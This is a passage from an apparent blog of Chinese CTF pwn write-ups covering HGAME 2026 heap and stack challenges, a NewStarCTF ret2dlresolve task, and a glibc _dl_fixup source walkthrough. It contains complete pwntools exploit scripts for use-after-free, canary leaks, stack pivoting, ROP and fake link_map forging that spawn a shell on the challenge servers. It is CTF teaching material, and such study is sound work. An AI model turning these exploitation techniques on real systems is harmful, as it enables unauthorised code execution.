(__glibc_unlikely (fwd-\u0026gt;bk != bck)) //malloc_printerr (\u0026#34;free(): corrupted unsorted chunks\u0026#34;); p-\u0026gt;fd = fwd; p-\u0026gt;bk = bck; bck-\u0026gt;fd = p; fwd-\u0026gt;bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); //check_free_chunk(av, p); } /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, size | PREV_INUSE); main_arena.top = p; //check_chunk(av, p); } } void *calloc(size_t count, size_t size) { TODO(); return NULL;} void *realloc(void *ptr, size_t size) { TODO(); return NULL;} void *reallocf(void *ptr, size_t size) { TODO(); return NULL;} void *valloc(size_t size) { TODO(); return NULL;} void *aligned_alloc(size_t alignment, size_t size) { TODO(); return NULL;} static void unlink_chunk (mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (\u0026#34;corrupted size vs. prev_size\u0026#34;); mchunkptr fd = p-\u0026gt;fd; mchunkptr bk = p-\u0026gt;bk; //if (__builtin_expect (fd-\u0026gt;bk != p || bk-\u0026gt;fd != p, 0)) //malloc_printerr (\u0026#34;corrupted double-linked list\u0026#34;); fd-\u0026gt;bk = bk; bk-\u0026gt;fd = fd; } static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av){ INTERNAL_SIZE_T size; mchunkptr p; size = nb + mp_.top_size; if(av-\u0026gt;top == NULL){ start = sbrk(0); p = sbrk(size); main_arena.top = chunk_at_offset(p, nb); set_head(p, nb | PREV_INUSE); set_foot(p, nb); set_head(main_arena.top, mp_.top_size | PREV_INUSE); return chunk2mem(p); } else{ TODO(); } } static void malloc_init_state (mstate av) { int i; mbinptr bin; /* Establish circular links for normal bins */ for (i = 1; i \u0026lt; 2; ++i) { bin = bin_at (av, i); bin-\u0026gt;fd = bin-\u0026gt;bk = bin; } } 魔改了 ptmalloc2 ，只留下 unsortedbin 功能，而且还有 size \u0026lt; nb 会卡死的问题\nfree 有 hook 可以劫持\nIDA main 菜单题\nmenu add delete free 后没清空， 有 UAF\nedit UAF ，同时可用于实现 AAW\nshow 可泄露 unsortedbin 的哨兵地址，同时可用于实现 AAR\ngift 劫持 hook\nbss 攻击思路 注意到 usortedbin 的哨兵存在于 bss 段，考虑 free 掉一个 chunk 进入 usortedbin 去 leak pie ，注意避免该 chunk 被并入 top_chunk\n然后通过在 bss 段上伪造包含 notes 区域的 fake chunk 并将 fake chunk 地址写入 free chunk 再 malloc 以获取 AAW 和 AAR 的能力\n最后 leak libc 并劫持 hook 为 system ，再往一个 chunk 内写入 \u0026lsquo;/bin/sh\\x00\u0026rsquo; 并 free 掉即可提权\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./vuln_patched\u0026#39;) else: io = remote(\u0026#39;cloud-middle.hgame.vidar.club\u0026#39;, 31275) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) ssiz = 0x30 prosiz = 0x100 def madd(idx, size): io.sendlineafter(b\u0026#39;\u0026gt;\\n\u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(idx).encode()) io.sendlineafter(b\u0026#39;Size: \u0026#39;, str(size).encode()) def mdelete(idx): io.sendlineafter(b\u0026#39;\u0026gt;\\n\u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(idx).encode()) def medit(idx, cont): io.sendlineafter(b\u0026#39;\u0026gt;\\n\u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(idx).encode()) io.sendafter(b\u0026#39;Content: \u0026#39;, cont) def mshow(idx): io.sendlineafter(b\u0026#39;\u0026gt;\\n\u0026#39;, b\u0026#39;4\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, str(idx).encode()) def mexit(): io.sendlineafter(b\u0026#39;\u0026gt;\\n\u0026#39;, b\u0026#39;5\u0026#39;) def mgift(addr): io.sendlineafter(b\u0026#39;\u0026gt;\\n\u0026#39;, b\u0026#39;6\u0026#39;) io.sendlineafter(b\u0026#39;hook\\n\u0026#39;, hex(addr).encode()) def AAW(addr, cont): medit(10, (p64(prosiz) * 4).ljust(0x30, b\u0026#39;\\x00\u0026#39;) + p64(addr)) medit(0, cont) def AAR(addr): medit(10, (p64(prosiz) * 4).ljust(0x30, b\u0026#39;\\x00\u0026#39;) + p64(addr)) mshow(0) def attack(): madd(0, ssiz) madd(12, ssiz) mdelete(0) mshow(0) completed_0_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) pie_leak = completed_0_addr - 0x808 log.info(f\u0026#39;pie_leak = {hex(pie_leak)}\u0026#39;) saddr = pie_leak + 0x840 medit(0, p64(saddr)) madd(8, ssiz) medit(0, p64(completed_0_addr) + p64(saddr)) madd(2, ssiz) madd(10, ssiz - 0x8) medit(10, p64(prosiz) * 4) AAR(pie_leak + 0x7a0) __libc_start_main_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) libc_base_addr = __libc_start_main_addr - libc.symbols[\u0026#39;__libc_start_main\u0026#39;] log.info(f\u0026#39;libc_base_addr = {hex(libc_base_addr)}\u0026#39;) system_addr = libc_base_addr + libc.symbols[\u0026#39;system\u0026#39;] mgift(system_addr) AAW(pie_leak + 0xa00, b\u0026#39;/bin/sh\\x00\u0026#39;) mdelete(0) io.interactive() attack() adrift checksec Full RELRO 和 PIE\nIDA main case 1 处发现可以使 i = 201 ，从而发生数组越界写向 dis 写入数据，同时有栈溢出\n写入后清空栈上内容\ncase 3 可以填满 dis ，用于辅助 case 1 的越界写\ninit_canary 手动 canary ，放在栈上\ndelete show 在 short int 下 -(-32768) = -32768 ，可以造成数组越界读取，且恰好读取到 canary ，同时可 leak stack\n并注意到整个程序只有这里有读取，因此想要 leak pie 或 leak libc 必须要把数据写入 dis 中\nbss 攻击思路 首先 leak canary ，然后通过把栈上数据 copy 到 dis 上去 leak pie\n然后栈迁移到 bss 上去 leak stderr 从而拿到 libc 基址，注意此处不能 leak stdin ，因为向 dis 写入完成后原数据区域会被清空，导致后面的 scanf 处崩溃；也不能 leak got ，因为 Full RELRO ，且 case 1 有写入栈的操作\n最后 ret2libc 即可\nlibc 版本我用 libcdb 没试出来，最后发现跟上一题一样\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./vuln_patched\u0026#39;) else: io = remote(\u0026#39;cloud-middle.hgame.vidar.club\u0026#39;, 31603) def moverflow(cont, dirt): io.sendlineafter(b\u0026#39;choose\u0026gt; \u0026#39;, b\u0026#39;0\u0026#39;) io.sendafter(b\u0026#39;way\u0026gt; \u0026#39;, cont) io.sendlineafter(b\u0026#39;distance\u0026gt; \u0026#39;, str(dirt).encode()) def mdelete(idx): io.sendlineafter(b\u0026#39;choose\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;index\u0026gt; \u0026#39;, str(idx).encode()) def mshow(idx): io.sendlineafter(b\u0026#39;choose\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;index\u0026gt; \u0026#39;, str(idx).encode()) def mdis(idx): io.sendlineafter(b\u0026#39;choose\u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;index\u0026gt; \u0026#39;, str(idx).encode()) io.sendlineafter(b\u0026#39;distance\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) def mexit(): io.sendlineafter(b\u0026#39;choose\u0026gt; \u0026#39;, b\u0026#39;4\u0026#39;) def canary_leak(): mshow(-32768) io.recvuntil(b\u0026#39;: \u0026#39;) canary = int(io.recvuntil(b\u0026#39;\\n\u0026#39;, drop = True).decode(\u0026#39;utf-8\u0026#39;), 10) log.info(f\u0026#39;canary = {hex(canary)}\u0026#39;) return canary def mleak(idx, name, offset): mshow(idx) io.recvuntil(b\u0026#39;: \u0026#39;) leak = int(io.recvuntil(b\u0026#39;\\n\u0026#39;, drop = True).decode(\u0026#39;utf-8\u0026#39;), 10) log.info(f\u0026#39;{name} leak = {hex(leak - offset)}\u0026#39;) libcdict_add(name, leak - offset) return leak - offset def attack(): for i in range(201): mdis(i) canary = canary_leak() moverflow(p64(0), 1) mshow(114) io.recvuntil(b\u0026#39;: \u0026#39;) pie = int(io.recvuntil(b\u0026#39;\\n\u0026#39;, drop = True).decode(\u0026#39;utf-8\u0026#39;), 10) // 0x10000 - 0x040 log.info(f\u0026#39;pie = {hex(pie)}\u0026#39;) for i in range(201): mdis(i) midx = 100 pov_addr = pie + 0x4080 + 0x518 * midx mdelete(midx) bss_addr = pie + 0x4040 bss_leaker = bss_addr + 0x3fa again_addr = pie + 0x14F3 payload = p64(bss_leaker) + p64(again_addr) moverflow(payload, 1) mdelete(0) leave_addr = pie + 0x1721 payload = b\u0026#39;A\u0026#39; * (0x3fa - 0x10) + p64(canary) + b\u0026#39;A\u0026#39; * 8 + p64(pov_addr) + p64(leave_addr) moverflow(payload, 1) mdelete(1) mexit() io.sendlineafter(b\u0026#39;distance\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) midx = 150 pov_addr = pie + 0x4080 + 0x518 * midx mdelete(midx) pov_leaker = pie + 0x4080 + 0x510 + 0x3fa again_addr = pie + 0x14F3 payload = p64(pov_leaker) + p64(again_addr) moverflow(payload, 1) mdelete(2) payload = b\u0026#39;\\x00\u0026#39; * 0x3fa + p64(pov_addr) + p64(leave_addr) moverflow(payload, 1) mexit() io.sendlineafter(b\u0026#39;distance\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) stderr_leak = mleak(0, \u0026#39;_IO_2_1_stderr_\u0026#39;, 0) for i in range(201): mdis(i) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) libc_base = stderr_leak - libc.symbols[\u0026#39;_IO_2_1_stderr_\u0026#39;] log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) for i in range(10): mdis(i) midx = 10 pov_addr = pie + 0x4080 + 0x518 * midx rbp_addr = pie + 0x4080 + 0x518 * midx * 2 pop_rdi_ret = libc_base + 0x2a3e5 system_addr = libc_base + libc.symbols[\u0026#39;system\u0026#39;] bin_sh = libc_base + next(libc.search(b\u0026#39;/bin/sh\u0026#39;)) mdelete(midx) ret_addr = pie + 0x1722 payload = p64(rbp_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) moverflow(payload, 1) mdelete(0) payload = b\u0026#39;\\x00\u0026#39; * 0x3fa + p64(pov_addr) + p64(leave_addr) moverflow(payload, 1) mexit() io.interactive() attack() ","date":"2026-02-10T01:38:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/contest/hgame-2026-pwn-wp/","title":"HGAME2026-pwn WriteUp"},{"content":"题目 题目链接\n攻击思路 64 位下 ret2dlresolve 模板题\n注意将返回地址覆盖为 plt 内容后可再接返回地址控制程序流程\n注意 _dl_runtime_resolve 有点像 srop 会还原寄存器\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./pwn_patched\u0026#39;) else: io = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 28062) link_map_base = 0x404800 binsh_addr = link_map_base + 0x28 read_plt = 0x401060 again_addr = 0x401192 plt0_addr = 0x401026 read_got = 0x404020 pop_rdi_ret = 0x40115E pop_rsi_ret = 0x40116B def fake_link_map_gen(fake_link_map_base, delta, func_got_addr, mstr): fake_link_map = b\u0026#39;\u0026#39; fake_link_map += p64(delta, sign = \u0026#39;signed\u0026#39;) fake_link_map += p64(func_got_addr - 8) fake_link_map += p64(fake_link_map_base + 24) fake_link_map += p64(fake_link_map_base - delta) fake_link_map += p64(7) fake_link_map += mstr.encode() fake_link_map = fake_link_map.ljust(0x68, b\u0026#39;\\x00\u0026#39;) fake_link_map += p64(fake_link_map_base) fake_link_map += p64(fake_link_map_base) fake_link_map = fake_link_map.ljust(0xF8, b\u0026#39;\\x00\u0026#39;) fake_link_map += p64(fake_link_map_base + 8) return fake_link_map def attack(): payload = b\u0026#39;A\u0026#39; * (0x70 + 8) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(link_map_base) + p64(read_plt) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(plt0_addr) + p64(link_map_base) + p64(0) io.send(payload.ljust(0x100, b\u0026#39;\\x00\u0026#39;)) payload = fake_link_map_gen(link_map_base, 0x52290 - 0x10dfc0, read_got, \u0026#39;/bin/sh\\x00\u0026#39;) io.send(payload.ljust(0x100, b\u0026#39;\\x00\u0026#39;)) io.interactive() attack() ","date":"2026-02-09T16:54:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/buuctf/newstarctf-2023-dlresolve/","title":"BUUCTF-NewStarCTF-2023-dlresolve 题解"},{"content":"重要结构 link_map 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr;\t/* Difference between the address in the ELF file and the addresses in memory. */ char *l_name;\t/* Absolute file name object was found in. */ ElfW(Dyn) *l_ld;\t/* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ /* All following members are internal to the dynamic linker. They may change without notice. */ /* This is an element which is only ever different from a pointer to the very same copy of this type for ld.so when it is used in more than one namespace. */ struct link_map *l_real; /* Number of the namespace this link map belongs to. */ Lmid_t l_ns; struct libname_list *l_libname; /* Indexed pointers to dynamic section. [0,DT_NUM) are indexed by the processor-independent tags. [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC. [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are indexed by DT_VERSIONTAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by DT_EXTRATAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are indexed by DT_VALTAGIDX(tagvalue) and [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see \u0026lt;elf.h\u0026gt;. */ ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; // 后略 }; l_addr (uint64_t) : ELF 文件中定义的地址与内存中实际地址之间的差值 这就是该模块的【基地址 (Base Address)】 对于开启了 PIE 的程序或 .so 库，这里存的是随机化后的基址 对于未开启 PIE (No-PIE) 的主程序，这里通常是 0\nl_name : 找到该对象的绝对文件名 这是一个指针，指向存储库文件路径的字符串（例如 \u0026ldquo;/lib/x86_64-linux-gnu/libc.so.6\u0026rdquo;） 对于主程序，这里通常是空字符串\nl_ld (Elf64_Dyn) : 该共享对象的动态段（.dynamic section）的地址 指向内存中 .dynamic 段的指针。这个段里存着 DT_STRTAB, DT_SYMTAB 等标签 _dl_fixup 实际上并不直接用这个 l_ld，而是用后面定义的 l_info 数组（它是由 l_ld 解析生成的）\nl_next, l_prev : 已加载对象的链表 双向链表指针 l_next 指向下一个加载的库，l_prev 指向上一个 攻击时通常不需要伪造这两个指针，除非你的攻击链涉及遍历这个链表\nl_real : 这是一个通常指向它自己的指针 只有当动态链接器（ld.so）在多个命名空间（namespace）中被使用时，这个指针才会指向不同的副本\nl_ns (8 bytes) : 该 link map 所属的命名空间编号 Linux 支持多个链接器命名空间（比如 dlmopen 可以加载一个隔离的库） LM_ID_BASE (通常是 0) 表示主程序所在的默认命名空间\nl_libname : 指向一个链表，存储了该共享对象的名称（可能有别名，比如 libc.so.6 和 libc-2.31.so） l_info (Elf64_Dyn) : 指向动态段（dynamic section）条目的指针数组。 [0, DT_NUM) 范围内的元素：使用**处理器无关的标签（Tag）**直接作为下标索引。 [DT_NUM, \u0026hellip;) 范围内的元素：使用 标签值减去 DT_LOPROC 作为下标索引。 [\u0026hellip;] 范围内的元素：使用 DT_VERSIONTAGIDX(tagvalue) 计算出的值作为下标索引。 \u0026hellip;（后面是关于 Extra, Val, Addr 等特殊标签的索引计算方式）。\nElf64_Dyn ELF 64位 动态段条目\n1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Sxword\td_tag;\t/* Dynamic entry type */ union { Elf64_Xword d_val;\t/* Integer value */ Elf64_Addr d_ptr;\t/* Address value */ } d_un; } Elf64_Dyn; d_tag (int64_t) : 这是“类型标签”，用来告诉链接器后面那个 d_un 存的是什么东西 DT_NULL (0): 标记动态段的结束 DT_STRTAB (5): 字符串表（String Table）的地址 DT_SYMTAB (6): 符号表（Symbol Table）的地址 DT_JMPREL (23): 重定位表（Relocation Table，即 .rela.plt）的地址\nd_un.d_val (uint64_t) : 当标签表示大小或数量时使用（例如 DT_SYMENT 表示符号表每项的大小） d_un.d_ptr (uint64_t) : 当标签表示地址时使用 Elf64_Sym ELF 64位 符号表条目\n1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Word\tst_name;\t/* Symbol name (string tbl index) */ unsigned char\tst_info;\t/* Symbol type and binding */ unsigned char st_other;\t/* Symbol visibility */ Elf64_Section\tst_shndx;\t/* Section index */ Elf64_Addr\tst_value;\t/* Symbol value */ Elf64_Xword\tst_size;\t/* Symbol size */ } Elf64_Sym; st_name (uint32_t) : 指向字符串表（String Table, DT_STRTAB）的相对偏移 函数名地址 = DT_STRTAB 基址 + st_name\nst_info : 这 1 个字节包含了两个信息 高 4 位 (Bind): 绑定属性（Global, Local, Weak） 低 4 位 (Type): 符号类型（Object, Func, None） 常见值：0x12：即 STB_GLOBAL (1) \u0026laquo; 4 | STT_FUNC (2) ，表示这是一个全局函数\nst_other : 符号的可见性 STV_DEFAULT (0): 默认可见性（通常是公开的，可被外部链接） STV_INTERNAL (1): 处理器特定的隐藏类型（很少用） STV_HIDDEN (2): 符号在模块内可见，外部不可见（即使是全局符号） STV_PROTECTED (3): 符号可见，但不能被抢占（Preempted）\nst_shndx (uint16_t) : 该符号定义在哪个节（Section）里，它是一个索引值，指向 Section Header Table 几个特殊的保留索引值: SHN_UNDEF (0): 未定义符号，表示该符号在本模块中被引用，但定义在其他模块（如 libc.so）中 SHN_ABS (0xfff1): 绝对符号，该符号的值是绝对地址，不随重定位改变 SHN_COMMON (0xfff2): 通用块符号（通常用于未初始化的全局变量）\nst_value (uint64_t) : 符号的值（通常是地址） 在可重定位文件 (.o) 中：它是相对于所在节（Section）的偏移量 在可执行文件或共享库 (.so) 中： 如果符号已定义（st_shndx != 0）：它是符号的虚拟地址（Virtual Address） 如果符号未定义（st_shndx == 0）：通常为 0 ，但如果是对齐的 Common 符号，它表示对齐约束\nst_size (uint64_t) : 函数或变量的大小 Elf64_Rela ELF 64位 重定位条目\n1 2 3 4 5 6 typedef struct { Elf64_Addr\tr_offset;\t/* Address */ Elf64_Xword\tr_info;\t/* Relocation type and symbol index */ Elf64_Sxword\tr_addend;\t/* Addend */ } Elf64_Rela; r_offset : 修正地址，即动态链接器解析出函数的真实地址后，应该把这个地址写到哪里去 指向 GOT 表（Global Offset Table）中的某个条目\nr_info : 这是一个复合字段，高 32 位和低 32 位分别代表不同含义 r_info = (Symbol Index \u0026laquo; 32) + Relocation Type 高 32 位：Symbol Index (符号表索引) 告诉链接器：“去符号表（Symbol Table）的第几个条目找这个函数的信息” 低 32 位：Relocation Type (重定位类型) 告诉链接器如何进行重定位 7 即 R_X86_64_JUMP_SLOT\nr_addend : 加数，用于计算最终值的常数偏移 最终值 = Symbol Value + Addend\n_dl_fixup 源码分析 _dl_fixup 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 /* This function is called through a special trampoline from the PLT the first time each PLT entry is called. We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address. Future calls will bounce directly from the PLT to the function. */ DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = \u0026amp;symtab[ELFW(R_SYM) (reloc-\u0026gt;r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l-\u0026gt;l_addr + reloc-\u0026gt;r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we\u0026#39;re really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc-\u0026gt;r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don\u0026#39;t look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-\u0026gt;st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l-\u0026gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-\u0026gt;r_info)] \u0026amp; 0x7fff; version = \u0026amp;l-\u0026gt;l_versions[ndx]; if (version-\u0026gt;hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym-\u0026gt;st_name, l, \u0026amp;sym, l-\u0026gt;l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false)); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true)); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); if (sym != NULL \u0026amp;\u0026amp; __builtin_expect (ELFW(ST_TYPE) (sym-\u0026gt;st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); } 前置声明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* This function is called through a special trampoline from the PLT the first time each PLT entry is called. We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address. Future calls will bounce directly from the PLT to the function. */ DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = \u0026amp;symtab[ELFW(R_SYM) (reloc-\u0026gt;r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l-\u0026gt;l_addr + reloc-\u0026gt;r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; 翻译： 这个函数是通过一个特殊的跳板（trampoline）从 PLT（过程链接表）中调用的，时机是每个 PLT 条目第一次被调用的时候。 我们必须按照给定共享对象（shared object）的 PLT 中指定的要求，执行重定位操作（relocation），并将解析出来的函数地址返回给那个跳板。 随后，跳板会重新向该地址发起原始的函数调用。 未来的调用将直接从 PLT 跳转到该函数（而不再经过这里）。\nElfW(Word) 为 uint32_t PLTREL 为 Elf64_Rela\n1 # define D_PTR(map, i) (map)-\u0026gt;i-\u0026gt;d_un.d_ptr 整理一下：\n1 2 3 4 5 6 7 8 Elf64_Sym *symtab = l-\u0026gt;l_info[DT_SYMTAB]-\u0026gt;d_un.d_ptr char *strtab = l-\u0026gt;l_info[DT_STRTAB]-\u0026gt;d_un.d_ptr Elf64_Rela *reloc = l-\u0026gt;l_info[DT_JMPREL]-\u0026gt;d_un.d_ptr + reloc_arg Elf64_Sym *sym = \u0026amp;symtab[(reloc-\u0026gt;r_info) \u0026gt;\u0026gt; 32] Elf64_Sym *refsym = sym void *rel_addr = l-\u0026gt;l_addr + reloc-\u0026gt;r_offset link_map *result uint64_t value 版本校验 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 /* Sanity check that we\u0026#39;re really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc-\u0026gt;r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don\u0026#39;t look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-\u0026gt;st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l-\u0026gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-\u0026gt;r_info)] \u0026amp; 0x7fff; version = \u0026amp;l-\u0026gt;l_versions[ndx]; if (version-\u0026gt;hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } 首先要求 reloc-\u0026gt;r_info 的低 4 字节为 7 ，不然报错\n若 sym-\u0026gt;st_other 为 0 ，则进入 if 内部\n然后是一层检测，决定是否要进行版本校验（Version Check），检查 l_info[50] 是否为 NULL ，正常情况下不为 NULL ，执行后面 if 内部代码\n但是进入 if 内部后在 64 位下会报错，因为在 vernum[ELFW(R_SYM) (reloc-\u0026gt;r_info)] \u0026amp; 0x7fff 的过程中，由于我们一般伪造的 symtab 位于 bss 段，导致在 64 位下 reloc-\u0026gt;r_info 较大，发生段错误\n然后是锁相关操作\n符号查找 1 2 3 4 5 6 7 8 9 10 11 12 13 result = _dl_lookup_symbol_x (strtab + sym-\u0026gt;st_name, /* 参数1: 符号名 */ l, /* 参数2: 搜索起始 link_map */ \u0026amp;sym, /* 参数3: 符号结构体指针 